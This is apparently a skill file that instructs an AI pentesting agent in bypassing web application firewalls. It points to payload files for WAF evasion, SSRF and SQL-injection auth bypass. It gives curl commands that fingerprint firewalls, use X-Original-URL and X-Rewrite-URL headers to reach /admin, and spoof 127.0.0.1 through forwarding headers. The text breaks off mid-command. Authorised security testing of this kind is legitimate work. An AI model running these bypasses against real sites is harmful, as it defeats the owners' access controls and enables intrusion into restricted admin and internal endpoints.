waf-bypass-and-exploitation

name	waf-bypass-and-exploitation
description	Applies URL encoding, header tampering, path normalization, and payload mutation to bypass Web Application Firewalls (WAF) when testing valid vulnerabilities.

WAF Bypass & Exploitation Skill

Purpose

Guide the agent on executing advanced encoding, header spoofing, and request restructuring techniques when encountering HTTP 403 Forbidden, 406 Not Acceptable, or 429 Too Many Requests from Web Application Firewalls (Cloudflare, Akamai, AWS WAF, ModSecurity).

Knowledge References

• Consult /workspace/knowledge/payloads/waf-evasion.md
• Consult /workspace/knowledge/payloads/ssrf-bypass.md
• Consult /workspace/knowledge/payloads/sqli-auth-bypass.md

Workflow

1. Identify WAF Signature

Inspect HTTP response headers for firewall indicators:

curl -sI "https://target.com/test-probe" | grep -Ei '(cloudflare|akamai|incap|sucuri|mod_security|aws-waf|cf-ray|x-waf)'

2. Header-Based Path Overrides

When /admin or /api/internal is restricted:

# Test X-Original-URL and X-Rewrite-URL
curl -s -H "X-Original-URL: /admin" "https://target.com/"
curl -s -H "X-Rewrite-URL: /admin" "https://target.com/"

# Test IP Spoofing Headers
curl -s -H "X-Forwarded-For: 127.0.0.1" \
        -H "X-Custom-IP-Authorization: 127.0.0.1" \
        -H "X-Real-IP: 127.0.0.1" \